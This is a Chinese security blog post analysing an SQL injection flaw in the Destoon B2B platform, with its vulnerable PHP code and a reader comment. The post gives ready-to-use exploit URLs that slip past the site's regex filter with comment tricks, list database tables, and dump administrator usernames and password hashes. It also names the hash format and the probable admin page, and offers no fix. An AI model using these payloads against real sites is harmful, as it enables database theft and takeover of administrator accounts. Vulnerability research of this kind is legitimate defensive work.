您的位置 » 首页 » 代码审计 » 代码审计:destoon b2b系统全版本SQL注入漏洞分析附exp

代码审计:destoon b2b系统全版本SQL注入漏洞分析附exp

发表于4年前 | 作者: seay | 分类: 代码审计 | 孵化于:2013年10月03日 | 文章热度:9,246 次 全屏阅读

显示不全请点击全屏阅读

在include/global.func.php 中strip_sql函数对传进来的值进行了过滤,但是我们可以绕过该限制,达到全版本注入

function strip_sql($string) {  
    $search = array("/union[\s|\t]/i","/select[\s|\t]/i","/update[\s|\t]/i","/outfile[\s|\t]/i","/ascii/i","/[\s|\t]or[\s|\t]/i","/\/\*/i");  
    $replace = array('union ','select ','update ','outfile ','ascii ',' or ', '');  
    return is_array($string) ? array_map('strip_sql', $string) : preg_replace($search, $replace, $string);  
    
}

 

在member/record.php 中
<?php  
require 'config.inc.php';  
require '../common.inc.php';  
require DT_ROOT.'/module/'.$module.'/record.inc.php';  
?>
调用了record.inc.php 
switch($action) {  
    case 'pay':  
        $MODULE[-9]['name'] = $L['resume_name'];  
        $MODULE[-9]['islink'] = 0;  
        $MODULE[-9]['linkurl'] = $MODULE[9]['linkurl'];  
        isset($fromtime) or $fromtime = '';  
        isset($totime) or $totime = '';  
        isset($dfromtime) or $dfromtime = '';  
        isset($dtotime) or $dtotime = '';  
        isset($mid) or $mid = 0;  
        isset($currency) or $currency = '';  
        $module_select = module_select('mid', $L['module_name'], $mid);  
        if($keyword) $condition .= " AND title LIKE '%$keyword%'";  
        if($fromtime) $condition .= " AND paytime>".(strtotime($fromtime.' 00:00:00'));  
        if($totime) $condition .= " AND paytime<".(strtotime($totime.' 23:59:59'));  
        if($mid) $condition .= " AND moduleid=$mid";  
        if($itemid) $condition .= " AND itemid=$itemid";  
    
....//
其中$mid 是没经过过滤的,导致我们可以注入
但是前面有防注入处理?
看我们怎么绕过注入中的正则
xxx.com/member/record.php?action=pay&mid=-1+union//***/select//***/1,2,password,username,5,6,7,8,9 from destoon_member where admin=1– a
看看这样是不是可以了?
这样就达到可以绕过正则了。。。
当前。前缀肯定是有变化的了,我看使用
 
xxx.com/member/record.php?action=pay&mid=-1+union//***/select//***/1,2,GROUP_CONCAT(DISTINCT+table_name),4,5,6,7,8,9+from+information_schema.columns+where+table_schema=database()–%20a 
 
来获取前缀。再使用
 
xxx.com/member//record.php?action=pay&mid=-1+union//***/select//***/1,2,concat(username,0x3A,password),4,5,6,7,8,9%20from%20destoon_member%20where%20admin=1–%20a 
 
来获得帐号和密码,密文为md5(md5(psw))类型,后台貌似为admin.php 

 

作者:西毒

Tags:

destoon漏洞, 代码审计,

如果您喜欢我的博客,欢迎点击图片定订阅到邮箱填写您的邮件地址,订阅我们的精彩内容: 也可以点击链接【订阅到鲜果】

如果我的想法或工具帮助到了你,也可微信扫下方二维码打赏本人一杯咖啡


来自 Seay互联网安全博客
本文地址:http://www.cnseay.com/3406/
文章版权说明请看置顶文章,尊重作者,转载请以链接形式标明原文地址

马上分享给你的朋友吧~

已经有1个筒子留下了脚印...

  • 徐凝柔 说:
    1楼
    2013 年 10 月 5 日 下午 2:24 回复

    真是太感激发布这个漏子,不过自己道行不高,还看不出来如何对这个漏子做有效的防护 😥

发表评论

你的大名(必填)

你的邮箱(必填)

评论内容(必填)